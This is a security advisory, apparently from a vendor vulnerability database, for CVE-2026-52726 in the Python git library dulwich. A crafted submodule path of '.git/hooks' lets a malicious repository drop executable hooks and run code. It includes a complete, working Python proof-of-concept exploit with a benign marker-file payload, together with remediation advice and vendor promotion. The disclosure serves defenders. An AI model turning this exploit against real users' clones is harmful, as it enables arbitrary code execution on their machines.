Summary
Dulwich's submodule path traversal in porcelain.submoduleupdate / porcelain.clone(recursesubmodules=True) yields RCE via attacker-dropped .git/hooks payload
dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.
This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.
Affected
- Package:
dulwich(PyPI) - Affected versions:
>=0.23.2, <1.2.5 - Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal
.git/hooksrather than a case- or short-name-aliased form.
Affected entry points:
dulwich.porcelain.submodule_update(repo, init=True, recursive=True)dulwich.porcelain.clone(source, target, recurse_submodules=True)dulwich submodule updateCLI /dulwich clone --recurse-submodulesCLI
Vulnerable code
The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.
The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):
for path, target_sha in submodules_to_update:
path_str = (
path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
)
submodule_name: bytes | None = None
for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
if sm_path == path:
submodule_name = sm_name
break
if not submodule_name:
continue
It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):
submodule_path = os.path.join(r.path, path_str)
submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)
Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):
build_index_from_tree(
submodule_path,
sub_repo.index_path(),
sub_repo.object_store,
tree_id,
)
Three issues compound:
path_stroriginates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against.git,.., or other path-traversal patterns. The same value is read from the attacker-supplied.gitmodulesblob viaread_submodules, which also performs no validation.submodule_path = os.path.join(r.path, path_str)therefore resolves to an attacker-chosen directory anywhere on disk (e.g.<worktree>/.git/hooks).build_index_from_treeis called withoutvalidate_path_element, so it defaults tovalidate_path_element_default, which only rejects literal.git,., and... It does not refuse aroot_paththat is itself inside the parent's.gitdirectory, and it honors the attacker tree's file modes including executable bits (0o100755).
Reachability
A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.
The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.
Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.
Proof of concept
End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.
import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree
WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")
# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
b'[submodule "evil"]\n'
b'\tpath = .git/hooks\n'
b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")
# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)
hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"
# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())
The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.
Credit
tonghuaroot
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-52726 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-52726? CVE-2026-52726 is a high-severity path traversal vulnerability in dulwich (pip), affecting versions >= 0.23.2, < 1.2.5. It is fixed in 1.2.5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-52726? CVE-2026-52726 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of dulwich are affected by CVE-2026-52726? dulwich (pip) versions >= 0.23.2, < 1.2.5 is affected.
- Is there a fix for CVE-2026-52726? Yes. CVE-2026-52726 is fixed in 1.2.5. Upgrade to this version or later.
- Is CVE-2026-52726 exploitable, and should I be worried? Whether CVE-2026-52726 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52726 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-52726? Upgrade
dulwichto 1.2.5 or later.